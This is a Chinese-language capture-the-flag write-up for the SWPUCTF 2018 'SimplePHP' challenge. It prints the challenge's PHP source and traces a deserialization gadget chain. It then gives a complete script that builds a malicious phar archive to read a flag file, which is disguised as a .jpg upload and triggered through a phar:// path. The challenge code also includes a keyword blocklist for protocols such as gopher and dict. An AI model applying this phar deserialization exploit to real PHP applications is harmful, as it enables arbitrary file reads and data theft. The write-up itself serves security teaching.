SWPUCTF-2018-SimplePHP

[SWPUCTF 2018]SimplePHP

进入题目，有一个file参数，尝试一下伪协议，无果……

结果直接读可以读出来

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

<!--flag is in f1ag.php-->

反序列化，但是没有反序列化利用点……

phar反序列化

https://www.cnblogs.com/zzjdbk/p/13030571.html

结合文件上传中的文件操作函数，可以利用phar中以反序列化方式储存的meta-data进行反序列化。在文件操作函数进行phar解析时，meta-data的数据也会一同解析。

开始找pop链：

先找魔法方法……__destruct()、__wakeup()、__toString()……

class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()//析构，脚本结束自动调用
    {
        $this->test = $this->str;
        echo $this->test;//toString
    }
}

public function __toString()
    {
        $content = $this->str['str']->source;//属性调用-》get
        return $content;
    }

public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

最后来到file_get_contents进行文件读取

构建脚本：

<?php

class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}

class Test
{
    public $file;
    public $params;
}

$a = new C1e4r();
$b = new Show();
$c = new Test();

$c->params['source'] = "/var/www/html/f1ag.php";
$b->str['str'] = $c;
$a->str = $b;

$phar = new Phar("test.phar"); //创建.phar文件
$phar->startBuffering();//写入缓冲
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定
$phar->setMetadata($a); //传入C1e4r对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();

需要修改php.ini中的phar.readonly，且一定要去掉前面的分号！……

上传文件名：$filename = md5($_FILES[“file”][“name”].$_SERVER[“REMOTE_ADDR”]).”.jpg”;

move_uploaded_file($_FILES[“file”][“tmp_name”],”upload/“ . $filename); 转移到指定的upload目录

生成phar后改后缀为jpg，上传

用phar协议去读取：

phar://upload/febdf38ac03e62cb8f05d46cefefd732.jpg

得到flag……